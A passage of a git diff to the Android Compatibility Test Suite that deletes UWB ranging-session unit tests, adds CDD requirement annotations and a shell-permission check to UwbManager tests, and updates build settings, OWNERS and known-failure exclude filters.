- verify(callback, times(1)).onDataSendFailed(
- eq(null), eq(REASON_BAD_PARAMETERS), any());
-
- session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- verify(callback, times(1)).onDataReceived(
- UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
- verify(callback, times(1)).onDataReceiveFailed(
- UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
-
- session.stop();
- verifyOpenState(session, true);
- verify(callback, times(1)).onStopped(REASON, PARAMS);
-
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
-
- session.close();
- verifyOpenState(session, false);
- verify(callback, times(1)).onClosed(REASON, PARAMS);
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- }
-
- @Test
- public void testClose_NoCallbackUntilInvoked() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingOpened();
-
- // Calling close multiple times should invoke closeRanging until the session receives
- // the onClosed callback.
- int totalCallsBeforeOnRangingClosed = 3;
- for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
- session.close();
- verifyOpenState(session, true);
- verify(adapter, times(i)).closeRanging(handle);
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- // After onClosed is invoked, then the adapter should no longer be called for each call to
- // the session's close.
- final int totalCallsAfterOnRangingClosed = 2;
- for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
- verify(callback, times(i)).onClosed(anyInt(), any());
- }
- }
-
- @Test
- public void testClose_OnClosedCalled() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.onRangingOpened();
-
- session.close();
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testClose_CannotInteractFurther() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.close();
-
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verifyThrowIllegalState(() -> session.stop());
- verifyNoThrowIllegalState(() -> session.close());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
- session.onRangingStarted(PARAMS);
- assertTrue(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(report);
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(0)).onReportReceived(report);
- }
-
- private void verifyOpenState(RangingSession session, boolean expected) {
- assertEquals(expected, session.isOpen());
- }
-
- private void verifyThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- fail();
- } catch (IllegalStateException e) {
- // Pass
- }
- }
-
- private void verifyNoThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- } catch (IllegalStateException e) {
- fail();
- }
- }
-
- abstract class AdapterAnswer implements Answer {
- protected RangingSession mSession;
-
- protected AdapterAnswer(RangingSession session) {
- mSession = session;
- }
- }
-
- class OpenAnswer extends AdapterAnswer {
- OpenAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingOpened();
- } else {
- mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StartAnswer extends AdapterAnswer {
- StartAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingStarted(PARAMS);
- } else {
- mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ReconfigureAnswer extends AdapterAnswer {
- ReconfigureAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingReconfigured(PARAMS);
- } else {
- mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class PauseAnswer extends AdapterAnswer {
- PauseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingPaused(PARAMS);
- } else {
- mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ResumeAnswer extends AdapterAnswer {
- ResumeAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingResumed(PARAMS);
- } else {
- mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeAddAnswer extends AdapterAnswer {
- ControleeAddAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeAdded(PARAMS);
- } else {
- mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeRemoveAnswer extends AdapterAnswer {
- ControleeRemoveAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeRemoved(PARAMS);
- } else {
- mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class DataSendAnswer extends AdapterAnswer {
- DataSendAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- UwbAddress argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onDataSent(UWB_ADDRESS, PARAMS);
- } else {
- mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StopAnswer extends AdapterAnswer {
- StopAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingStopped(REASON, PARAMS);
- return null;
- }
- }
-
- class CloseAnswer extends AdapterAnswer {
- CloseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingClosed(REASON, PARAMS);
- return null;
- }
- }
-}
diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
deleted file mode 100644
index d52a3e77b89..00000000000
--- a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.os.Parcel;
-import android.uwb.SessionHandle;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test of {@link SessionHandle}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SessionHandleTest {
-
- @Test
- public void testBasic() {
- int handleId = 12;
- SessionHandle handle = new SessionHandle(handleId);
- assertEquals(handle.getId(), handleId);
- }
-
- @Test
- public void testParcel() {
- Parcel parcel = Parcel.obtain();
- SessionHandle handle = new SessionHandle(10);
- handle.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel);
- assertEquals(handle, fromParcel);
- }
-}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index 8e3c0982bb3..90da9ac9fd7 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -51,6 +51,7 @@ import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.google.uwb.support.fira.FiraOpenSessionParams;
@@ -120,6 +121,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfo() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -134,6 +136,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -149,6 +152,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -164,6 +168,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -177,6 +182,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo();
@@ -189,6 +195,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo(mDefaultChipId);
@@ -202,6 +209,7 @@ public class UwbManagerTest {
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -214,6 +222,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -227,6 +236,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -240,6 +250,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos();
@@ -252,6 +263,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId);
@@ -264,6 +276,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testAddServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.addServiceProfile(new PersistableBundle());
@@ -276,6 +289,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.removeServiceProfile(new PersistableBundle());
@@ -289,6 +303,7 @@ public class UwbManagerTest {
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAllServiceProfilesWithoutUwbPrivileged() {
try {
mUwbManager.getAllServiceProfiles();
@@ -301,6 +316,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() {
try {
mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle());
@@ -313,6 +329,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfCertificateInfoWithoutUwbPrivileged() {
try {
mUwbManager.getAdfCertificateInfo(new PersistableBundle());
@@ -325,6 +342,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfosWithoutUwbPrivileged() {
try {
mUwbManager.getChipInfos();
@@ -337,6 +355,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciWithoutUwbPrivileged() {
try {
mUwbManager.sendVendorUciMessage(10, 0, new byte[0]);
@@ -372,6 +391,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() {
CountDownLatch countDownLatch = new CountDownLatch(1);
AdfProvisionStateCallback adfProvisionStateCallback =
@@ -390,6 +410,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveProfileAdfWithoutUwbPrivileged() {
try {
mUwbManager.removeProfileAdf(new PersistableBundle());
@@ -434,6 +455,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRegisterVendorUciCallbackWithoutUwbPrivileged() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -449,6 +471,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
UwbManager.UwbVendorUciCallback cb =
@@ -471,9 +494,20 @@ public class UwbManagerTest {
/* pass */
Log.i(TAG, "Failed with expected security exception: " + e);
}
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ mUwbManager.unregisterUwbVendorUciCallback(cb);
+ /* pass */
+ } catch (SecurityException e) {
+ /* fail */
+ fail();
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testInvalidCallbackUnregisterVendorUciCallback() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -564,6 +598,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch countDownLatch = new CountDownLatch(1);
@@ -583,6 +618,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -610,6 +646,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -640,6 +677,7 @@ public class UwbManagerTest {
* Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -659,6 +697,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -682,6 +721,7 @@ public class UwbManagerTest {
* Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -701,6 +741,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -752,6 +793,7 @@ public class UwbManagerTest {
* the proxied app not holding UWB_RANGING permission.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -776,6 +818,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -801,6 +844,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testFiraRangingSession() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -894,6 +938,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"})
public void testUwbStateToggle() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -910,6 +955,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessage() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
@@ -943,6 +989,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessageWithFragmentedPackets() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index cbad5684daa..7fe2a66ad1e 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -34,7 +34,7 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-media",
],
sdk_version: "test_current",
min_sdk_version: "29",
diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 0f4fd691170..7f80e5601e8 100644
--- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -82,8 +82,12 @@ public class MediaPreparerAppTest {
@Test
public void testGetResolutions() throws Exception {
+ String moduleName = InstrumentationRegistry.getArguments().getString("module-name");
+ if (moduleName == null) {
+ moduleName = MODULE_NAME;
+ }
Resolution maxRes = new Resolution(DEFAULT_MAX_WIDTH, DEFAULT_MAX_HEIGHT);
- DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MODULE_NAME);
+ DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(moduleName);
for (String key : config.keySet()) {
int width = 0;
int height = 0;
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index d27cf197c1d..9577d3af4d1 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -3,11 +3,6 @@ guangzhu@google.com
normancheung@google.com
jdesprez@google.com
-# Android Partner Eng Approvers
-aaronholden@google.com
-yuji@google.com
-nickrose@google.com
-
# File Specific Approvers
per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 83209926b35..8eac1edf571 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -127,6 +127,7 @@
<!-- b/38464828 -->
<option name="compatibility:exclude-filter" value="CtsFileSystemTestCases android.filesystem.cts.AlmostFullTest" />
+ <option name="compatibility:exclude-filter" value="CtsFileSystemTestCases[instant] android.filesystem.cts.AlmostFullTest" />
<!-- b/37271927 -->
<option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ViewTest#testUpdateDragShadow" />
@@ -281,4 +282,11 @@
<!-- b/208909067 -->
<option name="compatibility:exclude-filter" value="CtsDisplayTestCases android.display.cts.DisplayTest#testActivityContextGetMetrics" />
+ <!-- b/237035040 -->
+ <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
+ <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases[instant] android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
+
+ <!-- b/223402586 -->
+ <option name="compatibility:exclude-filter" value="CtsAppCompatHostTestCases com.android.cts.appcompat.CompatChangesValidConfigTest#testOnlyAllowedlistedChangesAreOverridable" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index a6e59acd469..54d3f7e83f5 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -114,4 +114,11 @@
<!-- b/234409652 Stable API does not exist to enforce this requirement on variable geometry devices -->
<option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice"/>
+
+ <!-- b/235453601 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaPerformanceClassTestCases android.mediapc.cts.MultiDecoderPerfTest" />
+
+ <!-- b/238155422 -->
+ <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testSetAirplaneMode" />
+
</configuration>